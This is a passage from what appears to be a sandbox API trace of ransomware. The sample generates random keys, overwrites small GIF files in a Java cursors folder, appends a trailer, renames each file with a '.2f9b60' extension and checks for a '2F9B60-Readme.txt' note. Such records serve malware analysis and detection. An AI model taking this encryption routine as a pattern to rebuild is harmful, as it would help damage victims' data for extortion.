(HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e180 [0237.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e180) returned 1 [0237.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43212b80) returned 1 [0237.361] NtQueryInformationFile (in: FileHandle=0x25c8, IoStatusBlock=0x274cf978, FileInformation=0x274cf988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x274cf978, FileInformation=0x274cf988) returned 0x0 [0237.362] NtSetInformationFile (FileHandle=0x25c8, IoStatusBlock=0x274cf978, FileInformation=0x274cf988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16a80) returned 1 [0237.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f0f0) returned 1 [0237.368] FlushFileBuffers (hFile=0x25c8) returned 1 [0238.205] CloseHandle (hObject=0x25c8) returned 1 [0241.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1eb0 [0241.386] wcscpy (in: _Dest=0x202b1eb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0241.386] wcscat (in: _Dest=0x202b1eb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" [0241.386] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt")) returned 0x20 [0241.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 [0241.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 Thread: id = 3802 os_tid = 0x1418 [0227.677] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0228.278] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", dwFileAttributes=0x20) returned 1 [0228.281] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0228.285] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x2659fd40 | out: lpFileSize=0x2659fd40*=153) returned 1 [0228.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa00 [0228.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f20 [0228.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c4d0 [0228.286] NtQuerySystemTime (in: CurrentTime=0x2659fc00 | out: CurrentTime=0x2659fc00*=132462178322758000) returned 0x0 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x7344e9c5 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x3bfdea02 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x71831f0a [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x236b3cfa [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x61594794 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x2b1b6783 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x7dd5ec0f [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x12e5f74e [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x7c77ac56 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x17ee6f32 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x2932dac [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0xbbe2929 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x55cb2ed8 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x2fd830fd [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x396e8d30 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x49c4bf80 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x661c4e2f [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x639f3e [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0xd8d011c [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x2b964fb5 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x57174136 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x2feab54d [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x605d69eb [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x431d4556 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x16f43d3f [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x4f22e829 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x1a4e8eb5 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x7bd815ee [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x38a03a05 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x384c51e0 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x502a88b9 [0228.286] RtlRandomEx (in: Seed=0x2659fbf0 | out: Seed=0x2659fbf0) returned 0x5f0ba622 [0228.362] ReadFile (in: hFile=0x1574, lpBuffer=0x41cb5950, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x2659fbf0, lpOverlapped=0x0 | out: lpBuffer=0x41cb5950*, lpNumberOfBytesRead=0x2659fbf0*=0x99, lpOverlapped=0x0) returned 1 [0228.363] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.363] WriteFile (in: hFile=0x1574, lpBuffer=0x41ca6910*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x2659fbf4, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesWritten=0x2659fbf4*=0x99, lpOverlapped=0x0) returned 1 [0234.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abac0 [0234.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265550 [0234.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265550) returned 1 [0234.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0234.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb5950) returned 1 [0234.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d040) returned 1 [0234.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61bf0) returned 1 [0234.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61bf0 [0234.159] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.170] WriteFile (in: hFile=0x1574, lpBuffer=0x42c202f0*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2659fd10, lpOverlapped=0x0 | out: lpBuffer=0x42c202f0*, lpNumberOfBytesWritten=0x2659fd10*=0x124, lpOverlapped=0x0) returned 1 [0236.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0236.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0236.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0236.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ac9a0 [0236.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0236.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8611d0 [0236.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8611d0) returned 1 [0236.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0236.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x4319fde0 [0236.265] sprintf (in: _Dest=0x4319fde0, _Format="%c%c" | out: _Dest="7c") returned 2 [0236.265] sprintf (in: _Dest=0x4319fde2, _Format="%c%c" | out: _Dest="aa") returned 2 [0236.265] sprintf (in: _Dest=0x4319fde4, _Format="%c%c" | out: _Dest="be") returned 2 [0236.265] sprintf (in: _Dest=0x4319fde6, _Format="%c%c" | out: _Dest="98") returned 2 [0236.265] sprintf (in: _Dest=0x4319fde8, _Format="%c%c" | out: _Dest="4b") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdea, _Format="%c%c" | out: _Dest="08") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdec, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdee, _Format="%c%c" | out: _Dest="c5") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdf0, _Format="%c%c" | out: _Dest="af") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdf2, _Format="%c%c" | out: _Dest="bf") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdf4, _Format="%c%c" | out: _Dest="05") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdf6, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdf8, _Format="%c%c" | out: _Dest="81") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdfa, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdfc, _Format="%c%c" | out: _Dest="ca") returned 2 [0236.265] sprintf (in: _Dest=0x4319fdfe, _Format="%c%c" | out: _Dest="42") returned 2 [0236.265] sprintf (in: _Dest=0x4319fe00, _Format="%c%c" | out: _Dest="b6") returned 2 [0236.265] sprintf (in: _Dest=0x4319fe02, _Format="%c%c" | out: _Dest="fb") returned 2 [0236.265] sprintf (in: _Dest=0x4319fe04, _Format="%c%c" | out: _Dest="e0") returned 2 [0236.265] sprintf (in: _Dest=0x4319fe06, _Format="%c%c" | out: _Dest="1a") returned 2 [0236.265] sprintf (in: _Dest=0x4319fe08, _Format="%c%c" | out: _Dest="ab") returned 2 [0236.265] sprintf (in: _Dest=0x4319fe0a, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe0c, _Format="%c%c" | out: _Dest="19") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe0e, _Format="%c%c" | out: _Dest="98") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe10, _Format="%c%c" | out: _Dest="4e") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe12, _Format="%c%c" | out: _Dest="f1") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe14, _Format="%c%c" | out: _Dest="64") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe16, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe18, _Format="%c%c" | out: _Dest="b8") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe1a, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe1c, _Format="%c%c" | out: _Dest="76") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe1e, _Format="%c%c" | out: _Dest="a9") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe20, _Format="%c%c" | out: _Dest="49") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe22, _Format="%c%c" | out: _Dest="94") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe24, _Format="%c%c" | out: _Dest="45") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe26, _Format="%c%c" | out: _Dest="73") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe28, _Format="%c%c" | out: _Dest="f3") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe2a, _Format="%c%c" | out: _Dest="b7") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe2c, _Format="%c%c" | out: _Dest="f3") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe2e, _Format="%c%c" | out: _Dest="07") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe30, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe32, _Format="%c%c" | out: _Dest="45") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe34, _Format="%c%c" | out: _Dest="2b") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe36, _Format="%c%c" | out: _Dest="12") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe38, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe3a, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe3c, _Format="%c%c" | out: _Dest="bf") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe3e, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe40, _Format="%c%c" | out: _Dest="41") returned 2 [0236.266] sprintf (in: _Dest=0x4319fe42, _Format="%c%c" | out: _Dest="8b") returned 2 [0236.266] RtlInitAnsiString (in: DestinationString=0x2659fd88, SourceString="7caabe984b089ec5afbf05e3812fca42b6fbe01aab4c19984ef164a4b8b376a949944573f3b7f307d9452b12a1f5bf9e418b" | out: DestinationString="7caabe984b089ec5afbf05e3812fca42b6fbe01aab4c19984ef164a4b8b376a949944573f3b7f307d9452b12a1f5bf9e418b") [0236.266] RtlAnsiStringToUnicodeString (in: DestinationString=0x2659fd58, SourceString="7caabe984b089ec5afbf05e3812fca42b6fbe01aab4c19984ef164a4b8b376a949944573f3b7f307d9452b12a1f5bf9e418b", AllocateDestinationString=1 | out: DestinationString="7caabe984b089ec5afbf05e3812fca42b6fbe01aab4c19984ef164a4b8b376a949944573f3b7f307d9452b12a1f5bf9e418b") returned 0x0 [0236.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d7c20 [0236.267] wcscat (in: _Dest=0x430e2ea0, _Source="7caabe984b089ec5afbf05e38" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\7caabe984b089ec5afbf05e38") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\7caabe984b089ec5afbf05e38" [0236.267] wcscat (in: _Dest=0x430e2ea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\7caabe984b089ec5afbf05e38.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\7caabe984b089ec5afbf05e38.2f9b60" [0236.267] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\7caabe984b089ec5afbf05e38.2f9b60", NtPathName=0x2659fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\7caabe984b089ec5afbf05e38.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x430fdc40 [0237.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fdc40) returned 1 [0237.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42056970) returned 1 [0237.363] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x2659fd98, FileInformation=0x2659fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2659fd98, FileInformation=0x2659fda8) returned 0x0 [0237.363] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x2659fd98, FileInformation=0x2659fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e2ea0) returned 1 [0237.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d7c20) returned 1 [0237.365] FlushFileBuffers (hFile=0x1574) returned 1 [0238.205] CloseHandle (hObject=0x1574) returned 1 [0241.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b1eb0 [0241.383] wcscpy (in: _Dest=0x202b1eb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0241.383] wcscat (in: _Dest=0x202b1eb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" [0241.383] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt")) returned 0x20 [0241.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 [0241.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43160350) returned 1 Thread: id = 3803 os_tid = 0x1354 [0227.678] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0228.279] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", dwFileAttributes=0x20) returned 1 [0228.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ee0 [0228.692] GetFileSizeEx (in: hFile=0x2ee0, lpFileSize=0x2412f6a0 | out: lpFileSize=0x2412f6a0*=168) returned 1 [0228.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5c80 [0228.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fd0 [0228.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6220 [0228.693] NtQuerySystemTime (in: CurrentTime=0x2412f560 | out: CurrentTime=0x2412f560*=132462178326814000) returned 0x0 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x67f280d0 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x7b36085 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x11b55051 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x55e00b0 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x5fc7fdfc [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x537f2d03 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0xa6bfa1 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x51a69334 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x16aca4d4 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x2924bb06 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x77e7b469 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x3f062c63 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x2384f557 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x3ecd6d56 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x10b9726c [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x27c21825 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x32e3ead3 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x5dd6f0cc [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x23b2f330 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x172078c7 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x2623d6e [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x1b1c004c [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x54af9449 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x2f14201a [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x4ba85bf8 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x62308fbf [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x75633668 [0228.693] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x513c2e3c [0228.694] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x2676a58b [0228.694] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x39d37bbc [0228.694] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x263f2b0d [0228.694] RtlRandomEx (in: Seed=0x2412f550 | out: Seed=0x2412f550) returned 0x6d1b65a1 [0228.715] ReadFile (in: hFile=0x2ee0, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0xa8, lpNumberOfBytesRead=0x2412f550, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x2412f550*=0xa8, lpOverlapped=0x0) returned 1 [0228.716] SetFilePointerEx (in: hFile=0x2ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.716] WriteFile (in: hFile=0x2ee0, lpBuffer=0x41fae130*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x2412f554, lpOverlapped=0x0 | out: lpBuffer=0x41fae130*, lpNumberOfBytesWritten=0x2412f554*=0xa8, lpOverlapped=0x0) returned 1 [0232.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0233.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab2e0 [0233.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab2e0) returned 1 [0233.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fae130) returned 1 [0233.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0233.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869e40) returned 1 [0233.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61880) returned 1 [0233.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce61880 [0233.004] SetFilePointerEx (in: hFile=0x2ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.004] WriteFile (in: hFile=0x2ee0, lpBuffer=0x42c21260*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2412f670, lpOverlapped=0x0 | out: lpBuffer=0x42c21260*, lpNumberOfBytesWritten=0x2412f670*=0x120, lpOverlapped=0x0) returned 1 [0235.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058560 [0235.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0235.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e50) returned 1 [0235.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad820 [0235.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0235.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7060 [0235.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7060) returned 1 [0235.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0235.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1cddf6e0 [0235.317] sprintf (in: _Dest=0x1cddf6e0, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6e2, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6e4, _Format="%c%c" | out: _Dest="28") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6e6, _Format="%c%c" | out: _Dest="78") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6e8, _Format="%c%c" | out: _Dest="18") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6ea, _Format="%c%c" | out: _Dest="c1") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6ec, _Format="%c%c" | out: _Dest="09") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6ee, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6f0, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6f2, _Format="%c%c" | out: _Dest="ac") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6f4, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6f6, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6f8, _Format="%c%c" | out: 